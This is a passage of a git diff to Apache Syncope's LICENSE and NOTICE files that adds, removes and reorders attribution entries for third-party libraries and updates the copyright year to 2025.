is licensed under the AL 2.0, see above. + +== + For Expression Language 3.0 API (https://javaee.github.io/uel-ri/): This is licensed under the CDDL 1.0, see above. @@ -1462,6 +1507,16 @@ This is licensed under the MIT license, see above. == +For Material Components for the web (https://github.com/material-components/material-components-web): +This is licensed under the MIT license, see above. + +== + +For Webfont - Material Design Icons (https://github.com/Templarian/MaterialDesign-Webfont): +This is licensed under the MIT license, see above. + +== + For Modernizr (https://modernizr.com): This is licensed under the MIT license, see above. @@ -1497,6 +1552,16 @@ This is licensed under the CDDL 1.0, see above. == +For Groovy Security Sandbox (https://github.com/Tirasa/groovy-security-sandbox): +This is licensed under the MIT license, see above. + +== + +For normalize.css (http://necolas.github.io/normalize.css/): +This is licensed under the MIT license, see above. + +== + For Groovy Extensions (https://github.com/ultraq/groovy-extensions/): This is licensed under the AL 2.0, see above. @@ -1567,11 +1632,6 @@ This is licensed under the MIT license, see above. == -For MojoHaus AnimalSniffer Maven Plugin (https://github.com/mojohaus/animal-sniffer): -This is licensed under the MIT license, see above. - -== - For StAX2 API (http://wiki.fasterxml.com/WoodstoxStax2): This is licensed under the BSD license, see above. @@ -1582,6 +1642,11 @@ This is licensed under the AL 2.0, see above. == +For groovy-sandbox (https://github.com/craftercms/groovy-sandbox): +This is licensed under the MIT license, see above. + +== + For Cryptacular (https://github.com/vt-middleware/cryptacular): This is licensed under the AL 2.0, see above. @@ -1592,6 +1657,11 @@ This is licensed under the MIT license, see above. == +For Ehcache (http://ehcache.org/): +This is licensed under the AL 2.0, see above. + +== + For Flowable (http://www.flowable.org/): This is licensed under the AL 2.0, see above. @@ -1757,11 +1827,6 @@ This is licensed under the AL 2.0, see above. == -For Chart.js (http://www.chartjs.org/): -This is licensed under the AL 2.0, see above. - -== - For Moment.js (http://momentjs.com/): This is licensed under the MIT license, see above. @@ -1772,47 +1837,32 @@ This is licensed under the MIT license, see above. == -For balanced-match (https://github.com/juliangruber/balanced-match): -This is licensed under the MIT license, see above. - -== - -For base64-js (https://github.com/beatgammit/base64-js): -This is licensed under the MIT license, see above. - -== - -For css-vars-ponyfill (https://github.com/jhildenbiddle/css-vars-ponyfill): -This is licensed under the MIT license, see above. - -== - -For get-css-data (https://github.com/jhildenbiddle/get-css-data): -This is licensed under the MIT license, see above. +For WicketStuff (https://wicketstuff.org/): +This is licensed under the AL 2.0, see above. == -For Inputmask (https://github.com/RobinHerbots/Inputmask): -This is licensed under the MIT license, see above. +For SnakeYAML (http://www.snakeyaml.org/): +This is licensed under the AL 2.0, see above. == -For Material Components for the web (https://github.com/material-components/material-components-web): +For popper.js (https://github.com/FezVrasta/popper.js): This is licensed under the MIT license, see above. == -For Webfont - Material Design Icons (https://github.com/Templarian/MaterialDesign-Webfont): +For spin.js (http://spin.js.org/): This is licensed under the MIT license, see above. == -For normalize.css (http://necolas.github.io/normalize.css/): +For Summernote (https://summernote.org/): This is licensed under the MIT license, see above. == -For Summernote (https://summernote.org/): +For Tempus Dominus Bootstrap 4 Datetime Picker (https://github.com/tempusdominus/bootstrap-4): This is licensed under the MIT license, see above. == @@ -1827,42 +1877,17 @@ This is licensed under the BSD license, see above. == -For window.fetch polyfill (https://github.github.io/fetch/): -This is licensed under the MIT license, see above. - -== - -For WicketStuff (https://wicketstuff.org/): -This is licensed under the AL 2.0, see above. - -== - -For SnakeYAML (http://www.snakeyaml.org/): -This is licensed under the AL 2.0, see above. - -== - -For popper.js (https://github.com/FezVrasta/popper.js): -This is licensed under the MIT license, see above. - -== - -For spin.js (http://spin.js.org/): -This is licensed under the MIT license, see above. - -== - -For Tempus Dominus Bootstrap 4 Datetime Picker (https://github.com/tempusdominus/bootstrap-4): +For typeahead.js (http://twitter.github.io/typeahead.js/): This is licensed under the MIT license, see above. == -For typeahead.js (http://twitter.github.io/typeahead.js/): +For Webjars-locator core functionality (https://github.com/webjars/webjars-locator-core): This is licensed under the MIT license, see above. == -For Webjars-locator core functionality (https://github.com/webjars/webjars-locator-core): +For window.fetch polyfill (https://github.github.io/fetch/): This is licensed under the MIT license, see above. == diff --git a/standalone/NOTICE b/standalone/NOTICE index 3a352f401d1..ef31ece8317 100644 --- a/standalone/NOTICE +++ b/standalone/NOTICE @@ -1,5 +1,5 @@ Apache Syncope -Copyright 2012-2023 The Apache Software Foundation +Copyright 2012-2025 The Apache Software Foundation This product includes software developed by: The Apache Software Foundation (http://www.apache.org/). @@ -23,6 +23,16 @@ Copyright (c) 2013 Kohsuke Kawaguchi and other contributors == +This product includes software developed by balanced-match +Copyright (c) 2013 Julian Gruber + +== + +This product includes software developed by base64-js +Copyright (c) 2014 Jameson Little + +== + This product includes software developed by the Bootbox.js project. Copyright (C) 2011-2015 by Nick Payne nick@kurai.co.uk @@ -38,6 +48,11 @@ Copyright (c) 2013-2015 bootstrap-select] == +This product includes software developed by the Chart.js project. +Copyright (c) 2018 Chart.js Contributors + +== + This product includes software developed by the Modernizr project. Copyright (C) 2016 @@ -154,13 +169,13 @@ Copyright (c) 2006 - 2019, Wael Chatila and GreenMail project contributors == -This product includes software developed by mchange-commons-java -Copyright (C) 2015 Machinery For Change, Inc. +This product includes software developed by Microsoft OAuth 2.0 User Agent library for Java +Copyright (c) Microsoft Corporation == -This product includes software developed by Microsoft OAuth 2.0 User Agent library for Java -Copyright (c) Microsoft Corporation +This product includes software developed by Microsoft Azure Active Directory Authentication Library (ADAL) for Java +Copyright (c) Microsoft Corporation. All rights reserved. == @@ -184,11 +199,6 @@ Copyright 2012-2022, Connect2id Ltd == -This product includes software developed by Okio -Copyright 2013 Square, Inc. - -== - This product includes software developed by Moshi Copyright (C) 2020 Square, Inc. @@ -199,6 +209,11 @@ Copyright (c) 2022 Square, Inc. == +This product includes software developed by Okio +Copyright 2013 Square, Inc. + +== + This product includes software developed by Retrofit Copyright 2014 Square, Inc. @@ -214,13 +229,13 @@ Copyright (c) 2013-2016 The JAXB project. == -This product includes software produced and maintained by Eclipse Metro -All content is the property of the respective authors or their employers. +This product includes software developed by QDox. +Copyright 2002-2009 Joe Walnes and QDox Project Team == -This product includes software developed by QDox. -Copyright 2002-2009 Joe Walnes and QDox Project Team +This product includes software developed by UnboundID LDAP SDK for Java +Copyright 2007-2022 Ping Identity Corporation == @@ -248,6 +263,11 @@ This product includes software developed by Dough Lea == +This product includes software developed by css-vars-ponyfill +Copyright (c) 2018 John Hildenbiddle + +== + This product includes software developed by DataTables Copyright (c) 2008-present, SpryMedia Limited @@ -278,6 +298,11 @@ Copyright (C) 2009-2016 Kristopher Michael Kowal and contributors == +This product includes software developed by get-css-data +Copyright (c) 2018 John Hildenbiddle + +== + This product includes software developed by the google-diff-match-patch project. Copyright (c) 2006 Google Inc. @@ -293,6 +318,11 @@ Copyright (c) 2006, Ivan Sagalaev == +This product includes software developed by Inputmask +Copyright (c) 2010 - 2018 Robin Herbots + +== + This product includes software developed by the Metrics project. Copyright (c) 2010-2014 Coda Hale, Yammer.com @@ -303,7 +333,12 @@ Copyright (c) 2020 Luke Hutchison == -This product includes software developed by Micrometer Application Metrics +This product includes software developed by jsonwebtoken.io. +Copyright (C) 2014-2023 jsonwebtoken.io + +== + +This product includes software developed by Micrometer Application Metrics. Copyright (c) 2017-Present VMware, Inc. All Rights Reserved. == @@ -349,6 +384,11 @@ Copyright (c) 2012-2013 Oracle and/or its affiliates. All rights reserved. == +This product includes software developed by JSR107 (JCache). +Copyright (c) JSR107 Expert Group + +== + This product includes software developed by Expression Language 3.0 API Copyright (c) 1997-2013 Oracle and/or its affiliates. All rights reserved. @@ -415,6 +455,11 @@ Copyright (c) 2010 - 2014 jsPlumb, http://jsplumbtoolkit.com/ == +This product includes software developed by Material Components for the web +Copyright 2018 Google Inc. + +== + This product includes software developed by Byte Buddy Copyright 2014 - Present Rafael Winterhalter @@ -432,6 +477,17 @@ Copyright 2011-2016 Tirasa S.r.l. All rights reserved. == +This product includes software developed by Groovy Security Sandbox +Copyright (c) 2012-2020 Kohsuke Kawaguchi, CloudBees, Inc., other contributors +Copyright (c) 2025 Tirasa + +== + +This product includes software developed by normalize.css +Copyright © Nicolas Gallagher and Jonathan Neal + +== + This product includes software developed by Thymeleaf Expression Processor Copyright 2016, Emanuel Rabina (http://www.ultraq.net.nz/) @@ -482,16 +538,16 @@ Copyright (c) 2004-present by the Checker Framework developers == -This product includes software developed by MojoHaus AnimalSniffer Maven Plugin -Copyright (c) 2009, codehaus.org +This product includes software developed by the Stax 2 Extension API Project. == -This product includes software developed by the Stax 2 Extension API Project. +This product includes software developed by the Woodstox Project. == -This product includes software developed by the Woodstox Project. +This product includes software developed by groovy-sandbox +Copyright (c) 2012-2020 Kohsuke Kawaguchi, CloudBees, Inc., other contributors == @@ -500,6 +556,11 @@ Copyright (c) 2015 Jakub Danek == +This product includes software developed by Terracotta. Inc. +Ehcache source code and documentation are Copyright (c) Terracotta, Inc. + +== + This product includes software developed by the Flowable project. == @@ -634,11 +695,6 @@ Copyright 2012 Twitter, Inc. == -This product includes software developed by the Chart.js project. -Copyright (c) 2018 Chart.js Contributors - -== - This product includes software developed by Moment.js. Copyright (c) JS Foundation and other contributors @@ -649,38 +705,17 @@ Copyright (c) 2012-2016 Dan Wheeler and Dropbox, Inc. == -This product includes software developed by balanced-match -Copyright (c) 2013 Julian Gruber - -== - -This product includes software developed by base64-js -Copyright (c) 2014 Jameson Little - -== - -This product includes software developed by css-vars-ponyfill -Copyright (c) 2018 John Hildenbiddle - -== - -This product includes software developed by get-css-data -Copyright (c) 2018 John Hildenbiddle - -== - -This product includes software developed by Inputmask -Copyright (c) 2010 - 2018 Robin Herbots +This product includes software developed by WicketStuff +Copyright (c) 1998-2004, Drew Davidson and Luke Blanshard == -This product includes software developed by Material Components for the web -Copyright 2018 Google Inc. +This product includes software developed by the SnakeYAML project. == -This product includes software developed by normalize.css -Copyright © Nicolas Gallagher and Jonathan Neal +This product includes software developed by popper.js +Copyright (c) 2021 Floating UI contributors == @@ -689,37 +724,23 @@ Copyright (c) 2015~ Summernote Team (https://github.com/orgs/summernote/people) == -This product includes software developed by tslib -Copyright (c) Microsoft Corporation. - -== - -This product includes software developed by window.fetch polyfill -Copyright (c) 2014-2016 GitHub, Inc. - -== - -This product includes software developed by WicketStuff -Copyright (c) 1998-2004, Drew Davidson and Luke Blanshard - -== - -This product includes software developed by the SnakeYAML project. +This product includes software developed by Tempus Dominus Bootstrap 4 Datetime Picker +Copyright (c) 2016 Tempus Dominus == -This product includes software developed by popper.js -Copyright (c) 2021 Floating UI contributors +This product includes software developed by tslib +Copyright (c) Microsoft Corporation. == -This product includes software developed by Tempus Dominus Bootstrap 4 Datetime Picker -Copyright (c) 2016 Tempus Dominus +This product includes software developed by Webjars-locator core functionality +Copyright (c) 2013 James Ward == -This product includes software developed by Webjars-locator core functionality -Copyright (c) 2013 James Ward +This product includes software developed by window.fetch polyfill +Copyright (c) 2014-2016 GitHub, Inc. ==